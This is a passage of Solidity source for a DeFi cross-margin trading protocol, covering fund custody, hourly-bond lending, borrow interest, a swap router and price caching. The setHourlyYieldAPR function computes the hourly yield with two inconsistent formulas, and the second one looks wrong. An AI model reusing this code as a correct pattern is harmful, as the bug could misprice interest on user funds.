require(
tokenCaps[tokenTo] >= totalLong[tokenTo],
"Exceeds global token cap"
);
adjustAmounts(
account,
tokenFrom,
tokenTo,
sellAmount,
outAmount - extinguishableDebt
);
if (borrowAmount > 0) {
totalShort[tokenFrom] += borrowAmount;
require(
tokenCaps[tokenFrom] >= totalShort[tokenFrom],
"Exceeds global token cap"
);
borrow(account, tokenFrom, borrowAmount);
}
}
/// @dev can get called by router to register the dissolution of an account
function registerLiquidation(address trader) external override {
require(isMarginTrader(msg.sender), "Calling contr. not authorized");
CrossMarginAccount storage account = marginAccounts[trader];
require(loanInPeg(account) == 0, "Can't liquidate: borrowing");
deleteAccount(account);
}
/// @dev currently holding in this token
function viewBalanceInToken(address trader, address token)
external
view
returns (uint256)
{
CrossMarginAccount storage account = marginAccounts[trader];
return account.holdings[token];
}
/// @dev view function to display account held assets state
function getHoldingAmounts(address trader)
external
view
override
returns (
address[] memory holdingTokens,
uint256[] memory holdingAmounts
)
{
CrossMarginAccount storage account = marginAccounts[trader];
holdingTokens = account.holdingTokens;
holdingAmounts = new uint256[](account.holdingTokens.length);
for (uint256 idx = 0; holdingTokens.length > idx; idx++) {
address tokenAddress = holdingTokens[idx];
holdingAmounts[idx] = account.holdings[tokenAddress];
}
}
/// @dev view function to display account borrowing state
function getBorrowAmounts(address trader)
external
view
override
returns (address[] memory borrowTokens, uint256[] memory borrowAmounts)
{
CrossMarginAccount storage account = marginAccounts[trader];
borrowTokens = account.borrowTokens;
borrowAmounts = new uint256[](account.borrowTokens.length);
for (uint256 idx = 0; borrowTokens.length > idx; idx++) {
address tokenAddress = borrowTokens[idx];
borrowAmounts[idx] = Lending(lending()).viewWithBorrowInterest(
account.borrowed[tokenAddress],
tokenAddress,
account.borrowedYieldQuotientsFP[tokenAddress]
);
}
}
/// @dev view function to get loan amount in peg
function viewLoanInPeg(address trader)
external
view
returns (uint256 amount)
{
CrossMarginAccount storage account = marginAccounts[trader];
return
viewTokensInPegWithYield(
account.borrowTokens,
account.borrowed,
account.borrowedYieldQuotientsFP
);
}
/// @dev total of assets of account, expressed in reference currency
function viewHoldingsInPeg(address trader) external view returns (uint256) {
CrossMarginAccount storage account = marginAccounts[trader];
return viewTokensInPeg(account.holdingTokens, account.holdings);
}
/// @dev can this trader be liquidated?
function canBeLiquidated(address trader) external view returns (bool) {
CrossMarginAccount storage account = marginAccounts[trader];
uint256 loan =
viewTokensInPegWithYield(
account.borrowTokens,
account.borrowed,
account.borrowedYieldQuotientsFP
);
uint256 holdings =
viewTokensInPeg(account.holdingTokens, account.holdings);
return liquidationThresholdPercent * loan >= 100 * holdings;
}
}
// SPDX-License-Identifier: BUSL-1.1
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
import "@openzeppelin/contracts/utils/Address.sol";
import "../interfaces/IWETH.sol";
import "./RoleAware.sol";
/// @title Manage funding
contract Fund is RoleAware {
using SafeERC20 for IERC20;
/// wrapped ether
address public immutable WETH;
constructor(address _WETH, address _roles) RoleAware(_roles) {
WETH = _WETH;
}
/// Deposit an active token
function deposit(address depositToken, uint256 depositAmount) external {
IERC20(depositToken).safeTransferFrom(
msg.sender,
address(this),
depositAmount
);
}
/// Deposit token on behalf of `sender`
function depositFor(
address sender,
address depositToken,
uint256 depositAmount
) external {
require(isFundTransferer(msg.sender), "Unauthorized deposit");
IERC20(depositToken).safeTransferFrom(
sender,
address(this),
depositAmount
);
}
/// Deposit to wrapped ether
function depositToWETH() external payable {
IWETH(WETH).deposit{value: msg.value}();
}
// withdrawers role
function withdraw(
address withdrawalToken,
address recipient,
uint256 withdrawalAmount
) external {
require(isFundTransferer(msg.sender), "Unauthorized withdraw");
IERC20(withdrawalToken).safeTransfer(recipient, withdrawalAmount);
}
// withdrawers role
function withdrawETH(address recipient, uint256 withdrawalAmount) external {
require(isFundTransferer(msg.sender), "Unauthorized withdraw");
IWETH(WETH).withdraw(withdrawalAmount);
Address.sendValue(payable(recipient), withdrawalAmount);
}
}
// SPDX-License-Identifier: BUSL-1.1
pragma solidity ^0.8.0;
import "./BaseLending.sol";
struct HourlyBond {
uint256 amount;
uint256 yieldQuotientFP;
uint256 moduloHour;
}
/// @title Here we offer subscriptions to auto-renewing hourly bonds
/// Funds are locked in for an 50 minutes per hour, while interest rates float
abstract contract HourlyBondSubscriptionLending is BaseLending {
mapping(address => YieldAccumulator) hourlyBondYieldAccumulators;
uint256 constant RATE_UPDATE_WINDOW = 10 minutes;
uint256 public withdrawalWindow = 20 minutes;
uint256 constant MAX_HOUR_UPDATE = 4;
// issuer => holder => bond record
mapping(address => mapping(address => HourlyBond))
public hourlyBondAccounts;
uint256 public borrowingFactorPercent = 200;
uint256 constant borrowMinAPR = 6;
uint256 constant borrowMinHourlyYield =
FP48 + (borrowMinAPR * FP48) / 100 / hoursPerYear;
function _makeHourlyBond(
address issuer,
address holder,
uint256 amount
) internal {
HourlyBond storage bond = hourlyBondAccounts[issuer][holder];
updateHourlyBondAmount(issuer, bond);
YieldAccumulator storage yieldAccumulator =
hourlyBondYieldAccumulators[issuer];
bond.yieldQuotientFP = yieldAccumulator.accumulatorFP;
if (bond.amount == 0) {
bond.moduloHour = block.timestamp % (1 hours);
}
bond.amount += amount;
lendingMeta[issuer].totalLending += amount;
}
function updateHourlyBondAmount(address issuer, HourlyBond storage bond)
internal
{
uint256 yieldQuotientFP = bond.yieldQuotientFP;
if (yieldQuotientFP > 0) {
YieldAccumulator storage yA =
getUpdatedHourlyYield(
issuer,
hourlyBondYieldAccumulators[issuer],
RATE_UPDATE_WINDOW
);
uint256 oldAmount = bond.amount;
bond.amount = applyInterest(
bond.amount,
yA.accumulatorFP,
yieldQuotientFP
);
uint256 deltaAmount = bond.amount - oldAmount;
lendingMeta[issuer].totalLending += deltaAmount;
}
}
// Retrieves bond balance for issuer and holder
function viewHourlyBondAmount(address issuer, address holder)
public
view
returns (uint256)
{
HourlyBond storage bond = hourlyBondAccounts[issuer][holder];
uint256 yieldQuotientFP = bond.yieldQuotientFP;
uint256 cumulativeYield =
viewCumulativeYieldFP(
hourlyBondYieldAccumulators[issuer],
block.timestamp
);
if (yieldQuotientFP > 0) {
return applyInterest(bond.amount, cumulativeYield, yieldQuotientFP);
} else {
return bond.amount;
}
}
function _withdrawHourlyBond(
address issuer,
HourlyBond storage bond,
uint256 amount
) internal {
// how far the current hour has advanced (relative to acccount hourly clock)
uint256 currentOffset = (block.timestamp - bond.moduloHour) % (1 hours);
require(
withdrawalWindow >= currentOffset,
"Tried withdrawing outside subscription cancellation time window"
);
bond.amount -= amount;
lendingMeta[issuer].totalLending -= amount;
}
function calcCumulativeYieldFP(
YieldAccumulator storage yieldAccumulator,
uint256 timeDelta
) internal view returns (uint256 accumulatorFP) {
uint256 secondsDelta = timeDelta % (1 hours);
// linearly interpolate interest for seconds
// FP * FP * 1 / (FP * 1) = FP
accumulatorFP =
yieldAccumulator.accumulatorFP +
(yieldAccumulator.accumulatorFP *
(yieldAccumulator.hourlyYieldFP - FP48) *
secondsDelta) /
(FP48 * 1 hours);
uint256 hoursDelta = timeDelta / (1 hours);
if (hoursDelta > 0) {
uint256 accumulatorBeforeFP = accumulatorFP;
for (uint256 i = 0; hoursDelta > i && MAX_HOUR_UPDATE > i; i++) {
// FP48 * FP48 / FP48 = FP48
accumulatorFP =
(accumulatorFP * yieldAccumulator.hourlyYieldFP) /
FP48;
}
// a lot of time has passed
if (hoursDelta > MAX_HOUR_UPDATE) {
// apply interest in non-compounding way
accumulatorFP +=
((accumulatorFP - accumulatorBeforeFP) *
(hoursDelta - MAX_HOUR_UPDATE)) /
MAX_HOUR_UPDATE;
}
}
}
/// @dev updates yield accumulators for both borrowing and lending
/// issuer address represents a token
function updateHourlyYield(address issuer)
public
returns (uint256 hourlyYield)
{
return
getUpdatedHourlyYield(
issuer,
hourlyBondYieldAccumulators[issuer],
RATE_UPDATE_WINDOW
)
.hourlyYieldFP;
}
/// @dev updates yield accumulators for both borrowing and lending
function getUpdatedHourlyYield(
address issuer,
YieldAccumulator storage accumulator,
uint256 window
) internal returns (YieldAccumulator storage) {
uint256 lastUpdated = accumulator.lastUpdated;
uint256 timeDelta = (block.timestamp - lastUpdated);
if (timeDelta > window) {
YieldAccumulator storage borrowAccumulator =
borrowYieldAccumulators[issuer];
accumulator.accumulatorFP = calcCumulativeYieldFP(
accumulator,
timeDelta
);
LendingMetadata storage meta = lendingMeta[issuer];
accumulator.hourlyYieldFP = currentLendingRateFP(
meta.totalLending,
meta.totalBorrowed
);
accumulator.lastUpdated = block.timestamp;
updateBorrowYieldAccu(borrowAccumulator);
borrowAccumulator.hourlyYieldFP = max(
borrowMinHourlyYield,
FP48 +
(borrowingFactorPercent *
(accumulator.hourlyYieldFP - FP48)) /
100
);
}
return accumulator;
}
function updateBorrowYieldAccu(YieldAccumulator storage borrowAccumulator)
internal
{
uint256 timeDelta = block.timestamp - borrowAccumulator.lastUpdated;
if (timeDelta > RATE_UPDATE_WINDOW) {
borrowAccumulator.accumulatorFP = calcCumulativeYieldFP(
borrowAccumulator,
timeDelta
);
borrowAccumulator.lastUpdated = block.timestamp;
}
}
function getUpdatedBorrowYieldAccuFP(address issuer)
external
returns (uint256)
{
YieldAccumulator storage yA = borrowYieldAccumulators[issuer];
updateBorrowYieldAccu(yA);
return yA.accumulatorFP;
}
function viewCumulativeYieldFP(
YieldAccumulator storage yA,
uint256 timestamp
) internal view returns (uint256) {
uint256 timeDelta = (timestamp - yA.lastUpdated);
if (timeDelta > RATE_UPDATE_WINDOW) {
return calcCumulativeYieldFP(yA, timeDelta);
} else {
return yA.accumulatorFP;
}
}
}
// SPDX-License-Identifier: BUSL-1.1
pragma solidity ^0.8.0;
import "./Fund.sol";
import "./HourlyBondSubscriptionLending.sol";
import "../libraries/IncentiveReporter.sol";
// TODO activate bonds for lending
/// @title Manage lending for a variety of bond issuers
contract Lending is RoleAware, HourlyBondSubscriptionLending {
/// mapping issuers to tokens
/// (in crossmargin, the issuers are tokens themselves)
mapping(address => address) public issuerTokens;
/// In case of shortfall, adjust debt
mapping(address => uint256) public haircuts;
/// map of available issuers
mapping(address => bool) public activeIssuers;
uint256 constant BORROW_RATE_UPDATE_WINDOW = 60 minutes;
constructor(address _roles) RoleAware(_roles) {}
/// Make a issuer available for protocol
function activateIssuer(address issuer) external {
activateIssuer(issuer, issuer);
}
/// Make issuer != token available for protocol (isol. margin)
function activateIssuer(address issuer, address token)
public
onlyOwnerExecActivator
{
activeIssuers[issuer] = true;
issuerTokens[issuer] = token;
}
/// Remove a issuer from trading availability
function deactivateIssuer(address issuer) external onlyOwnerExecActivator {
activeIssuers[issuer] = false;
}
/// Set lending cap
function setLendingCap(address issuer, uint256 cap)
external
onlyOwnerExecActivator
{
lendingMeta[issuer].lendingCap = cap;
}
/// Set withdrawal window
function setWithdrawalWindow(uint256 window) external onlyOwnerExec {
withdrawalWindow = window;
}
function setNormalRatePerPercent(uint256 rate) external onlyOwnerExec {
normalRatePerPercent = rate;
}
function setHighRatePerPercent(uint256 rate) external onlyOwnerExec {
highRatePerPercent = rate;
}
/// Set hourly yield APR for issuer
function setHourlyYieldAPR(address issuer, uint256 aprPercent)
external
onlyOwnerExecActivator
{
YieldAccumulator storage yieldAccumulator =
hourlyBondYieldAccumulators[issuer];
if (yieldAccumulator.accumulatorFP == 0) {
uint256 yieldFP = FP48 + (FP48 * aprPercent) / 100 / (24 * 365);
hourlyBondYieldAccumulators[issuer] = YieldAccumulator({
accumulatorFP: FP48,
lastUpdated: block.timestamp,
hourlyYieldFP: yieldFP
});
} else {
YieldAccumulator storage yA =
getUpdatedHourlyYield(
issuer,
yieldAccumulator,
RATE_UPDATE_WINDOW
);
yA.hourlyYieldFP = (FP48 * (100 + aprPercent)) / 100 / (24 * 365);
}
}
/// @dev how much interest has accrued to a borrowed balance over time
function applyBorrowInterest(
uint256 balance,
address issuer,
uint256 yieldQuotientFP
) external returns (uint256 balanceWithInterest, uint256 accumulatorFP) {
require(isBorrower(msg.sender), "Not approved call");
YieldAccumulator storage yA = borrowYieldAccumulators[issuer];
updateBorrowYieldAccu(yA);
accumulatorFP = yA.accumulatorFP;
balanceWithInterest = applyInterest(
balance,
accumulatorFP,
yieldQuotientFP
);
uint256 deltaAmount = balanceWithInterest - balance;
LendingMetadata storage meta = lendingMeta[issuer];
meta.totalBorrowed += deltaAmount;
}
/// @dev view function to get balance with borrowing interest applied
function viewWithBorrowInterest(
uint256 balance,
address issuer,
uint256 yieldQuotientFP
) external view returns (uint256) {
uint256 accumulatorFP =
viewCumulativeYieldFP(
borrowYieldAccumulators[issuer],
block.timestamp
);
return applyInterest(balance, accumulatorFP, yieldQuotientFP);
}
/// @dev gets called by router to register if a trader borrows issuers
function registerBorrow(address issuer, uint256 amount) external {
require(isBorrower(msg.sender), "Not approved borrower");
require(activeIssuers[issuer], "Not approved issuer");
LendingMetadata storage meta = lendingMeta[issuer];
meta.totalBorrowed += amount;
getUpdatedHourlyYield(
issuer,
hourlyBondYieldAccumulators[issuer],
BORROW_RATE_UPDATE_WINDOW
);
require(
meta.totalLending >= meta.totalBorrowed,
"Insufficient lending"
);
}
/// @dev gets called when external sources provide lending
function registerLend(address issuer, uint256 amount) external {
require(isLender(msg.sender), "Not an approved lender");
require(activeIssuers[issuer], "Not approved issuer");
LendingMetadata storage meta = lendingMeta[issuer];
meta.totalLending += amount;
getUpdatedHourlyYield(
issuer,
hourlyBondYieldAccumulators[issuer],
RATE_UPDATE_WINDOW
);
}
/// @dev gets called when external sources pay withdraw their bobnd
function registerWithdrawal(address issuer, uint256 amount) external {
require(isLender(msg.sender), "Not an approved lender");
require(activeIssuers[issuer], "Not approved issuer");
LendingMetadata storage meta = lendingMeta[issuer];
meta.totalLending -= amount;
getUpdatedHourlyYield(
issuer,
hourlyBondYieldAccumulators[issuer],
RATE_UPDATE_WINDOW
);
}
/// @dev gets called by router if loan is extinguished
function payOff(address issuer, uint256 amount) external {
require(isBorrower(msg.sender), "Not approved borrower");
lendingMeta[issuer].totalBorrowed -= amount;
}
/// @dev get the borrow yield for a specific issuer/token
function viewAccumulatedBorrowingYieldFP(address issuer)
external
view
returns (uint256)
{
YieldAccumulator storage yA = borrowYieldAccumulators[issuer];
return viewCumulativeYieldFP(yA, block.timestamp);
}
function viewAPRPer10k(YieldAccumulator storage yA)
internal
view
returns (uint256)
{
uint256 hourlyYieldFP = yA.hourlyYieldFP;
uint256 aprFP =
((hourlyYieldFP * 10_000 - FP48 * 10_000) * 365 days) / (1 hours);
return aprFP / FP48;
}
/// @dev get current borrowing interest per 10k for a token / issuer
function viewBorrowAPRPer10k(address issuer)
external
view
returns (uint256)
{
return viewAPRPer10k(borrowYieldAccumulators[issuer]);
}
/// @dev get current lending APR per 10k for a token / issuer
function viewHourlyBondAPRPer10k(address issuer)
external
view
returns (uint256)
{
return viewAPRPer10k(hourlyBondYieldAccumulators[issuer]);
}
/// @dev In a liquidity crunch make a fallback bond until liquidity is good again
function makeFallbackBond(
address issuer,
address holder,
uint256 amount
) external {
require(isLender(msg.sender), "Not an approved lender");
_makeHourlyBond(issuer, holder, amount);
}
/// @dev withdraw an hour bond
function withdrawHourlyBond(address issuer, uint256 amount) external {
HourlyBond storage bond = hourlyBondAccounts[issuer][msg.sender];
// apply all interest
updateHourlyBondAmount(issuer, bond);
super._withdrawHourlyBond(issuer, bond, amount);
if (bond.amount == 0) {
delete hourlyBondAccounts[issuer][msg.sender];
}
disburse(issuer, msg.sender, amount);
IncentiveReporter.subtractFromClaimAmount(issuer, msg.sender, amount);
}
/// Shut down hourly bond account for `issuer`
function closeHourlyBondAccount(address issuer) external {
HourlyBond storage bond = hourlyBondAccounts[issuer][msg.sender];
// apply all interest
updateHourlyBondAmount(issuer, bond);
uint256 amount = bond.amount;
super._withdrawHourlyBond(issuer, bond, amount);
disburse(issuer, msg.sender, amount);
delete hourlyBondAccounts[issuer][msg.sender];
IncentiveReporter.subtractFromClaimAmount(issuer, msg.sender, amount);
}
/// @dev buy hourly bond subscription
function buyHourlyBondSubscription(address issuer, uint256 amount)
external
{
require(activeIssuers[issuer], "Not approved issuer");
collectToken(issuer, msg.sender, amount);
super._makeHourlyBond(issuer, msg.sender, amount);
IncentiveReporter.addToClaimAmount(issuer, msg.sender, amount);
}
function initBorrowYieldAccumulator(address issuer)
external
onlyOwnerExecActivator
{
YieldAccumulator storage yA = borrowYieldAccumulators[issuer];
require(yA.accumulatorFP == 0, "don't re-initialize");
yA.accumulatorFP = FP48;
yA.lastUpdated = block.timestamp;
yA.hourlyYieldFP = FP48 + (FP48 * borrowMinAPR) / 100 / (365 * 24);
}
function setBorrowingFactorPercent(uint256 borrowingFactor)
external
onlyOwnerExec
{
borrowingFactorPercent = borrowingFactor;
}
function issuanceBalance(address issuer)
internal
view
override
returns (uint256)
{
address token = issuerTokens[issuer];
if (token == issuer) {
// cross margin
return IERC20(token).balanceOf(fund());
} else {
return lendingMeta[issuer].totalLending - haircuts[issuer];
}
}
function disburse(
address issuer,
address recipient,
uint256 amount
) internal {
uint256 haircutAmount = haircuts[issuer];
if (haircutAmount > 0 && amount > 0) {
uint256 totalLending = lendingMeta[issuer].totalLending;
uint256 adjustment =
(amount * min(totalLending, haircutAmount)) / totalLending;
amount = amount - adjustment;
haircuts[issuer] -= adjustment;
}
address token = issuerTokens[issuer];
Fund(fund()).withdraw(token, recipient, amount);
}
function collectToken(
address issuer,
address source,
uint256 amount
) internal {
Fund(fund()).depositFor(source, issuer, amount);
}
function haircut(uint256 amount) external {
haircuts[msg.sender] += amount;
}
}
// SPDX-License-Identifier: BUSL-1.1
pragma solidity ^0.8.0;
import "./RoleAware.sol";
import "../interfaces/IMarginTrading.sol";
import "./Lending.sol";
import "./Admin.sol";
import "./BaseRouter.sol";
import "../libraries/IncentiveReporter.sol";
/// @title Top level transaction controller
contract MarginRouter is RoleAware, BaseRouter {
event AccountUpdated(address indexed trader);
uint256 public constant mswapFeesPer10k = 10;
address public immutable WETH;
constructor(address _WETH, address _roles) RoleAware(_roles) {
WETH = _WETH;
}
///////////////////////////
// Cross margin endpoints
///////////////////////////
/// @notice traders call this to deposit funds on cross margin
function crossDeposit(address depositToken, uint256 depositAmount)
external
{
Fund(fund()).depositFor(msg.sender, depositToken, depositAmount);
uint256 extinguishAmount =
IMarginTrading(crossMarginTrading()).registerDeposit(
msg.sender,
depositToken,
depositAmount
);
if (extinguishAmount > 0) {
Lending(lending()).payOff(depositToken, extinguishAmount);
IncentiveReporter.subtractFromClaimAmount(
depositToken,
msg.sender,
extinguishAmount
);
}
emit AccountUpdated(msg.sender);
}
/// @notice deposit wrapped ehtereum into cross margin account
function crossDepositETH() external payable {
Fund(fund()).depositToWETH{value: msg.value}();
uint256 extinguishAmount =
IMarginTrading(crossMarginTrading()).registerDeposit(
msg.sender,
WETH,
msg.value
);
if (extinguishAmount > 0) {
Lending(lending()).payOff(WETH, extinguishAmount);
IncentiveReporter.subtractFromClaimAmount(
WETH,
msg.sender,
extinguishAmount
);
}
emit AccountUpdated(msg.sender);
}
/// @notice withdraw deposits/earnings from cross margin account
function crossWithdraw(address withdrawToken, uint256 withdrawAmount)
external
{
IMarginTrading(crossMarginTrading()).registerWithdrawal(
msg.sender,
withdrawToken,
withdrawAmount
);
Fund(fund()).withdraw(withdrawToken, msg.sender, withdrawAmount);
emit AccountUpdated(msg.sender);
}
/// @notice withdraw ethereum from cross margin account
function crossWithdrawETH(uint256 withdrawAmount) external {
IMarginTrading(crossMarginTrading()).registerWithdrawal(
msg.sender,
WETH,
withdrawAmount
);
Fund(fund()).withdrawETH(msg.sender, withdrawAmount);
emit AccountUpdated(msg.sender);
}
/// @notice borrow into cross margin trading account
function crossBorrow(address borrowToken, uint256 borrowAmount) external {
Lending(lending()).registerBorrow(borrowToken, borrowAmount);
IMarginTrading(crossMarginTrading()).registerBorrow(
msg.sender,
borrowToken,
borrowAmount
);
IncentiveReporter.addToClaimAmount(
borrowToken,
msg.sender,
borrowAmount
);
emit AccountUpdated(msg.sender);
}
/// @notice convenience function to perform overcollateralized borrowing
/// against a cross margin account.
/// @dev caution: the account still has to have a positive balaance at the end
/// of the withdraw. So an underwater account may not be able to withdraw
function crossOvercollateralizedBorrow(
address depositToken,
uint256 depositAmount,
address borrowToken,
uint256 withdrawAmount
) external {
Fund(fund()).depositFor(msg.sender, depositToken, depositAmount);
Lending(lending()).registerBorrow(borrowToken, withdrawAmount);
IMarginTrading(crossMarginTrading()).registerOvercollateralizedBorrow(
msg.sender,
depositToken,
depositAmount,
borrowToken,
withdrawAmount
);
Fund(fund()).withdraw(borrowToken, msg.sender, withdrawAmount);
IncentiveReporter.addToClaimAmount(
borrowToken,
msg.sender,
withdrawAmount
);
emit AccountUpdated(msg.sender);
}
/// @notice close an account that is no longer borrowing and return gains
function crossCloseAccount() external {
(address[] memory holdingTokens, uint256[] memory holdingAmounts) =
IMarginTrading(crossMarginTrading()).getHoldingAmounts(msg.sender);
// requires all debts paid off
IMarginTrading(crossMarginTrading()).registerLiquidation(msg.sender);
for (uint256 i; holdingTokens.length > i; i++) {
Fund(fund()).withdraw(
holdingTokens[i],
msg.sender,
holdingAmounts[i]
);
}
emit AccountUpdated(msg.sender);
}
/// @notice entry point for swapping tokens held in cross margin account
function swapExactTokensForTokens(
uint256 amountIn,
uint256 amountOutMin,
bytes32 amms,
address[] calldata tokens,
uint256 deadline
) external ensure(deadline) returns (uint256[] memory amounts) {
// calc fees
uint256 fees = takeFeesFromInput(amountIn);
address[] memory pairs;
(amounts, pairs) = UniswapStyleLib.getAmountsOut(
amountIn - fees,
amms,
tokens
);
// checks that trader is within allowed lending bounds
registerTrade(
msg.sender,
tokens[0],
tokens[tokens.length - 1],
amountIn,
amounts[amounts.length - 1]
);
_fundSwapExactT4T(amounts, amountOutMin, pairs, tokens);
}
/// @notice entry point for swapping tokens held in cross margin account
function swapTokensForExactTokens(
uint256 amountOut,
uint256 amountInMax,
bytes32 amms,
address[] calldata tokens,
uint256 deadline
) external ensure(deadline) returns (uint256[] memory amounts) {
address[] memory pairs;
(amounts, pairs) = UniswapStyleLib.getAmountsIn(
amountOut + takeFeesFromOutput(amountOut),
amms,
tokens
);
// checks that trader is within allowed lending bounds
registerTrade(
msg.sender,
tokens[0],
tokens[tokens.length - 1],
amounts[0],
amountOut
);
_fundSwapT4ExactT(amounts, amountInMax, pairs, tokens);
}
/// @dev helper function does all the work of telling other contracts
/// about a cross margin trade
function registerTrade(
address trader,
address inToken,
address outToken,
uint256 inAmount,
uint256 outAmount
) internal {
(uint256 extinguishAmount, uint256 borrowAmount) =
IMarginTrading(crossMarginTrading()).registerTradeAndBorrow(
trader,
inToken,
outToken,
inAmount,
outAmount
);
if (extinguishAmount > 0) {
Lending(lending()).payOff(outToken, extinguishAmount);
IncentiveReporter.subtractFromClaimAmount(
outToken,
trader,
extinguishAmount
);
}
if (borrowAmount > 0) {
Lending(lending()).registerBorrow(inToken, borrowAmount);
IncentiveReporter.addToClaimAmount(inToken, trader, borrowAmount);
}
emit AccountUpdated(trader);
}
/////////////
// Helpers
/////////////
/// @dev internal helper swapping exact token for token on AMM
function _fundSwapExactT4T(
uint256[] memory amounts,
uint256 amountOutMin,
address[] memory pairs,
address[] calldata tokens
) internal {
require(
amounts[amounts.length - 1] >= amountOutMin,
"MarginRouter: INSUFFICIENT_OUTPUT_AMOUNT"
);
Fund(fund()).withdraw(tokens[0], pairs[0], amounts[0]);
_swap(amounts, pairs, tokens, fund());
}
/// @notice make swaps on AMM using protocol funds, only for authorized contracts
function authorizedSwapExactT4T(
uint256 amountIn,
uint256 amountOutMin,
bytes32 amms,
address[] calldata tokens
) external returns (uint256[] memory amounts) {
require(
isAuthorizedFundTrader(msg.sender),
"Calling contract is not authorized to trade with protocl funds"
);
address[] memory pairs;
(amounts, pairs) = UniswapStyleLib.getAmountsOut(
amountIn,
amms,
tokens
);
_fundSwapExactT4T(amounts, amountOutMin, pairs, tokens);
}
// @dev internal helper swapping exact token for token on on AMM
function _fundSwapT4ExactT(
uint256[] memory amounts,
uint256 amountInMax,
address[] memory pairs,
address[] calldata tokens
) internal {
require(
amounts[0] <= amountInMax,
"MarginRouter: EXCESSIVE_INPUT_AMOUNT"
);
Fund(fund()).withdraw(tokens[0], pairs[0], amounts[0]);
_swap(amounts, pairs, tokens, fund());
}
//// @notice swap protocol funds on AMM, only for authorized
function authorizedSwapT4ExactT(
uint256 amountOut,
uint256 amountInMax,
bytes32 amms,
address[] calldata tokens
) external returns (uint256[] memory amounts) {
require(
isAuthorizedFundTrader(msg.sender),
"Calling contract is not authorized to trade with protocl funds"
);
address[] memory pairs;
(amounts, pairs) = UniswapStyleLib.getAmountsIn(
amountOut,
amms,
tokens
);
_fundSwapT4ExactT(amounts, amountInMax, pairs, tokens);
}
function takeFeesFromOutput(uint256 amount)
internal
pure
returns (uint256 fees)
{
fees = (mswapFeesPer10k * amount) / 10_000;
}
function takeFeesFromInput(uint256 amount)
internal
pure
returns (uint256 fees)
{
fees = (mswapFeesPer10k * amount) / (10_000 + mswapFeesPer10k);
}
function getAmountsOut(
uint256 inAmount,
bytes32 amms,
address[] calldata tokens
) external view returns (uint256[] memory amounts) {
(amounts, ) = UniswapStyleLib.getAmountsOut(inAmount, amms, tokens);
}
function getAmountsIn(
uint256 outAmount,
bytes32 amms,
address[] calldata tokens
) external view returns (uint256[] memory amounts) {
(amounts, ) = UniswapStyleLib.getAmountsIn(outAmount, amms, tokens);
}
}
// SPDX-License-Identifier: BUSL-1.1
pragma solidity ^0.8.0;
import "./RoleAware.sol";
import "./MarginRouter.sol";
import "../libraries/UniswapStyleLib.sol";
/// Stores how many of token you could get for 1k of peg
struct TokenPrice {
uint256 lastUpdated;
uint256 priceFP;
address[] liquidationTokens;
bytes32 amms;
address[] inverseLiquidationTokens;
bytes32 inverseAmms;
}
struct VolatilitySetting {
uint256 priceUpdateWindow;
uint256 updateRatePermil;
uint256 voluntaryUpdateWindow;
}
struct PairPrice {
uint256 cumulative;
uint256 lastUpdated;
uint256 priceFP;
}
/// @title The protocol features several mechanisms to prevent vulnerability to
/// price manipulation:
/// 1) global exposure caps on all tokens which need to be raised gradually
/// during the process of introducing a new token, making attacks unprofitable
/// due to lack of scale
/// 2) Exponential moving average with cautious price update. Prices for estimating
/// how much a trader can borrow need not be extremely current and precise, mainly
/// they must be resilient against extreme manipulation
/// 3) Liquidators may not call from a contract address, to prevent extreme forms of
/// of front-running and other price manipulation.
abstract contract PriceAware is RoleAware {
uint256 constant FP112 = 2**112;
address public immutable peg;
mapping(address => TokenPrice) public tokenPrices;
mapping(address => mapping(address => PairPrice)) public pairPrices;
/// update window in blocks
// TODO
uint256 public priceUpdateWindow = 20 minutes;
uint256 public voluntaryUpdateWindow = 5 minutes;
uint256 public UPDATE_RATE_PERMIL = 400;
VolatilitySetting[] public volatilitySettings;
constructor(address _peg) {
peg = _peg;
}
/// Set window for price updates
function setPriceUpdateWindow(uint16 window, uint256 voluntaryWindow)
external
onlyOwnerExec
{
priceUpdateWindow = window;
voluntaryUpdateWindow = voluntaryWindow;
}
/// Add a new volatility setting
function addVolatilitySetting(
uint256 _priceUpdateWindow,
uint256 _updateRatePermil,
uint256 _voluntaryUpdateWindow
) external onlyOwnerExec {
volatilitySettings.push(
VolatilitySetting({
priceUpdateWindow: _priceUpdateWindow,
updateRatePermil: _updateRatePermil,
voluntaryUpdateWindow: _voluntaryUpdateWindow
})
);
}
/// Choose a volatitlity setting
function chooseVolatilitySetting(uint256 index)
external
onlyOwnerExecDisabler
{
VolatilitySetting storage vs = volatilitySettings[index];
if (vs.updateRatePermil > 0) {
UPDATE_RATE_PERMIL = vs.updateRatePermil;
priceUpdateWindow = vs.priceUpdateWindow;
voluntaryUpdateWindow = vs.voluntaryUpdateWindow;
}
}
/// Set rate for updates
function setUpdateRate(uint256 rate) external onlyOwnerExec {
UPDATE_RATE_PERMIL = rate;
}
function getCurrentPriceInPeg(address token, uint256 inAmount)
internal
returns (uint256)
{
return getCurrentPriceInPeg(token, inAmount, false);
}
function getCurrentPriceInPeg(
address token,
uint256 inAmount,
bool voluntary
) public returns (uint256 priceInPeg) {
if (token == peg) {
return inAmount;
} else {
TokenPrice storage tokenPrice = tokenPrices[token];
uint256 timeDelta = block.timestamp - tokenPrice.lastUpdated;
if (
timeDelta > priceUpdateWindow ||
tokenPrice.priceFP == 0 ||
(voluntary && timeDelta > voluntaryUpdateWindow)
) {
// update the currently cached price
uint256 priceUpdateFP;
priceUpdateFP = getPriceByPairs(
tokenPrice.liquidationTokens,
tokenPrice.amms
);
_setPriceVal(tokenPrice, priceUpdateFP, UPDATE_RATE_PERMIL);
}
priceInPeg = (inAmount * tokenPrice.priceFP) / FP112;
}
}
/// Get view of current price of token in peg
function viewCurrentPriceInPeg(address token, uint256 inAmount)
public
view
returns (uint256 priceInPeg)
{
if (token == peg) {
return inAmount;
} else {
TokenPrice storage tokenPrice = tokenPrices[token];
uint256 priceFP = tokenPrice.priceFP;
priceInPeg = (inAmount * priceFP) / FP112;
}
}
function _setPriceVal(
TokenPrice storage tokenPrice,
uint256 updateFP,
uint256 weightPerMil
) internal {
tokenPrice.priceFP =
(tokenPrice.priceFP *
(1000 - weightPerMil) +
updateFP *
weightPerMil) /
1000;
tokenPrice.lastUpdated = block.timestamp;
}
/// add path from token to current liquidation peg
function setLiquidationPath(bytes32 amms, address[] memory tokens)
external
onlyOwnerExecActivator
{
address token = tokens[0];
if (token != peg) {
TokenPrice storage tokenPrice = tokenPrices[token];
tokenPrice.amms = amms;
tokenPrice.liquidationTokens = tokens;
